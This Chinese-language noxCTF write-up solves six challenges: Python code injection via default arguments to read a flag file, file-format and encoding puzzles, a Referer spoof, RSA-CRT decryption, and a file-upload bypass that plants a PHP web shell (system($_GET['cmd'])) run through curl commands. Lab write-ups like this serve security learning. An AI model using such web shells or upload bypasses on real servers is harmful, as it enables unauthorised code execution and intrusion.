前言
本文首发i春秋:https://bbs.ichunqiu.com/thread-46059-1-1.html
渣渣一枚,萌新一个,会划水,会喊六六(hhhhh)
补一下关于noxCTF
中的部分解题思路,毕竟自己太渣(Qrz),有些题目还是做不出来(QAQ),有什么错误的地方,希望各位大佬指点一下(thx)
一:Python for fun
欢迎来到noxale
的在线python
课程!!! 您可以在有限的时间内免费试用它并在python 3
中学习基本编程:http://chal.noxale.com:8000/
该网站有三个不同的页面用于教python 3
.页面是'修复代码','匹配签名到正文','代码返回'。我们感兴趣的是'match signature to body'
类,因为它允许我们设置python 3
函数的参数并解释它。
我们来看看它是否容易受到攻击。
def fun(a,b,c=print('7' * 7)):
c = a + b
return c
print(fun(10, 12) == 22)
7777777
True
如您所见,它执行了我们的代码并打印了7777777
。
让我们尝试列出工作目录下的文件
def fun(a,b,c=print(__import__('os').listdir())):
c = a + b
return c
print(fun(10, 12) == 22)
['db.sqlite3', 'learn_python', 'python_ctf_thing', 'Dockerfile', 'FLAG', 'manage.py', 'requirements.txt', 'templates']
True
只需要使用一个flag
就可以得到答案:
def fun(a,b,c=print(open('FLAG','r').read())):
c = a + b
return c
print(fun(10, 12) == 22)
noxCTF{py7h0n_15_4w350m3}
True
二:Read Between The Lines
下载文件后,感觉该文件是一个gzip
压缩存档。
使用linux
命令:
$ file message.code
message.code:gzip
压缩数据,是“消息”
$ mv message.code message.code.gz
$ gzip -d message.code
查看文件的内容,我看到一些代码,我认为这些代码是常见的JavaScript
代码
所以,让我们尝试在浏览器中运行代码,看看会发生什么。
出现错误,只能慢慢查找资料(QAQ) CTF中那些脑洞大开的编码和加密
在这个强大的资料库里面就可以找到解码的网址:https://vii5ard.github.io/whitespace/
把需要解密的密文放入并单击“运行”按钮,就会得到答案:
三:Blind Date
通过检查文件的数据,xxd我们注意到字节是乱码的
在看了JPEG
文件交换格式后,我们可以快速查看字节是如何被加扰的。 https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format#File_format_structure
该文件应以字节开头,FF D8 FF E0
然后是一个2字节的值,用于保存段长度。接下来是JFIF
标识符4A 46 49 46 00
。
我们注意到它们只占用了4个字节的块并将它们反转。
f = open('BlindDate.jpeg',“rb”)
s = f.read()
f.close()
data = ''
for i in range(0,len(s),4):
data + = s [i:i + 4 ] [:: -1 ]
nf = open('blind.jpeg','wb')
nf.write(data)
此脚本将还原的映像写入blind.jpeg
。
字符串显示图像末尾有一些数据:
一个base64
字符串Li4gICAuICAuLiAgLi4gICAuICAuLiAgLi4gICAuICAuLiAgLiAgLi4NCi4gICAgLiAgIC4gICAgICAgLiAgICAgIC4gICAgLiAgIC4gIC4gIA0KICAgIC4uICAgICAgICAgIC4uICAgICAgLiAgIC4uICAgICAgLiAgLgPK
,它解码为:
.. .. .. .. .. .. ..
。。。。。。。。
.. .. .. 。
文字是盲文翻译之后就会得到:F4C3P4LM
。
接下来,我们使用binwalk
提取blind.jpeg
中的zip
文件。
打开zip
文件发现需要密码 而我们已经得到盲文翻译后的答案,尝试一下可不可以解密 就会得到一个flag.txt
文件
此文件包含brainfuck
代码并运行它打印最终标志。
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+.+++++++++.<---.+++++++++++++++++.--------------.>+++.<+++++++++++++++++.<++++++++++++++++++.>>------.---------.--------.-----.++++++++++++++++++++++++++.<<.>>----.<++++++++.+++.>---------.<<+.>>++.<++.-----.+++++.<+++.>>++++++.<<-.>-----.<+.>.+++.>--------.<<---.>>++.<++.-----.+++++.<+++.>>++++++.<<-.++++++++++++.>>+++++++++.<<<++++++++++++++++++++++.
放进解密工具:Brainfuck
解密之后就会得到答案:
最后得到答案:noxCTF{W0uld_y0u_bl1nd_d4t3_4_bl1nd_d4t3?}
四:Reference
我们使用此URI
启动挑战:
打开这个页面,我们得到一个简单的网站,只包含明文“你来自哪个****?”。
通过HTML文档挖掘,我们发现了一个脚本标记链接 /js/index.js
在原始检查时,它是一个ajax
函数,它根据对url的请求返回成功并可能标记或失败/check_from_google
。
从挑战标题和url
名称推断,/check_from_google
我们必须将请求标头中的HTTP Referer
字段设置为 url /check_from_google
。
启动burp
就可以,捕获请求并添加带有www.google.com
值的referer
字段。
我们使用以下有效负载返回HTTP 200 OK
bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9
使用base64即可进行解密:
noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}
五:Chop Suey
题目描述:
Today I ate in a Chinese restaurant and got myself a fortune cookie. These things usually contain a note with a nice sentence or phrase, but mine had numbers in it instead! Can you help me find the meaning of the numbers?
p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
因此,如果您已经学习了中国剩余定理,那么您肯定会知道这种RSA
优化技术。
它指出:
dp = d (mod p-1)
dq = d (mod q-1)
使用这种方法比使用欧几里得中关于RSA
的算法更快,如果没有p
和q
,你将需要计算更多,而现在只需要看一下维基百科中的关于RSA算
法使用中国剩余定理即可
https://en.wikipedia.org/wiki/RSA_(cryptosystem)
由于他们已经为我们提供了p
和q
值!我们可以轻松地重新计算qinv
构建qinv
qinv = modinv(q, p)
m2 = pow(c, dq, q)
m1 = pow(c, dp, p)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q
完整脚本:
from gmpy2 import *
p=8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q=12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp=6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq=783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c=24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
qinv = modinv(q, p)
m2 = pow(c, dq, q)
m1 = pow(c, dp, p)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q
print(m)
txt = hex(m)[2:]
print ''.join([chr(int(''.join(c), 16)) for c in zip(txt[0::2],txt[1::2])])
六:MyFileUploader
首先使用第一种,比较常见的方式:
由于该网站允许我们上传文件。让我们创建一个php shell
文件,但将其保存为dummy.txt
dummy.txt
<?php
system($_GET['cmd']);
?>
然后,尝试上传它
由提示可以看出,这个上传的文件它希望文件名包含.png / .jpg / .gif
。让我们将dummy.txt
文件重命名为dummy.png.txt
并尝试再次上传
File: dummy.png.txt
Image uploaded to: <a href='uploads/dummy.png.txt'>Here</a>
接下来我们看一下上传之后的网址:
$ curl 'http://chal.noxale.com:8079/uploads/dummy.png.txt'
<?php
system($_GET['cmd']);
?>
这个就表示我们已成功上传。我们试着查看/ uploads /
下的内容
我们可以看到这里面有一个名为“Don't open/
”的目录。让我们看看里面是什么
Options +Indexes
AddType application/x-httpd-php .cyb3r
从这里可以看出服务器使用PHP
运行扩展名为.cyb3r
的文件。
因此我们需要将文件重命名为rce.png.cyb3r
并重新上传,就会得到:
我们可以由提示看出,我们成功上传了我们的shell
文件。我们先来测试!!!
首先:看一下 http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=whoami
然后:http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=pwd
接下来使用ls
命令就可以得到想要的答案:
$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=ls"
1.jpg
1.jpg%00php
1.php%00jpg
1.php.jpg
1jpg
2.php%00jpg
2.php.jpg
2.php;.jpg
7H3-FL4G-1S-H3r3
Don't open
dummy.png.txt
exec.png.cyb3r
gif.phpjpg
gifjpg
rce.png.cyb3r
shell.png.cyb3r
shell.png.phtml
uploadTest.txt
$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=file%207H3-FL4G-1S-H3r3"
7H3-FL4G-1S-H3r3: directory
$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=ls%207H3-FL4G-1S-H3r3"
noxCTF{N3V3R_7RU57_07H3R5}
最后得到答案:noxCTF{N3V3R_7RU57_07H3R5}
第二种方法:
打开链接:http://chal.noxale.com:8079
让我们尝试上传这个非常可爱的zzkjRTe.jpg
图片:
正如我们所看到的,它还为我们提供了在服务器上找到此图片的路径:http://chal.noxale.com:8079/uploads/kittens.jpg
在探索这条路径之前,让我们尝试上传一个非常简单的webshell
名为shell.php
。它实际上是Arrexel的剧本。
在我尝试了不同的东西之后,我理解我只需要放置.png,.jpg
或者.gif
在文件名中的任何位置。因此服务器仍将evilshell.jpg.php
作为有效输
入,但.php
如果存在于文件名的末尾,它将自动擦除。那是一个问题。
然后我去探索路径/uploads
,我找到了一个名为Do not open
的目录。你猜怎么了?我打开它。
里面有着一个名为:.htaccess
文件,内容对我们还是有很大的帮助:
Options +Indexes
AddType application/x-httpd-php .cyb3r
这意味着任何以自制扩展名结尾的文件.cyb3r
都将由服务器作为php
代码处理。
接下来就变得简单了许多
让我们把我们的phpbash shell
重命名为shell.png.cyb3r
,然后上传它。
成功了!现在的时刻......让我们导航到我们的上传路径......
是的!得到了一个webshell
,
现在让我们列出这个名为7H3-FL4G-1S-H3r3
文件夹里面的内容:
最后答案:noxCTF{N3V3R_7RU57_07H3R5}
参考资料:
phpbash:https://github.com/Arrexel/phpbash
CTF中RSA的常见攻击方法 : https://www.anquanke.com/post/id/84632
CTF中那些脑洞大开的编码和加密: https://www.tuicool.com/articles/2E3INnm
RSA之中国剩余定理: https://en.wikipedia.org/wiki/RSA_(cryptosystem)
Brainfuck/Ook! Obfuscation/Encoding: https://www.splitbrain.org/services/ook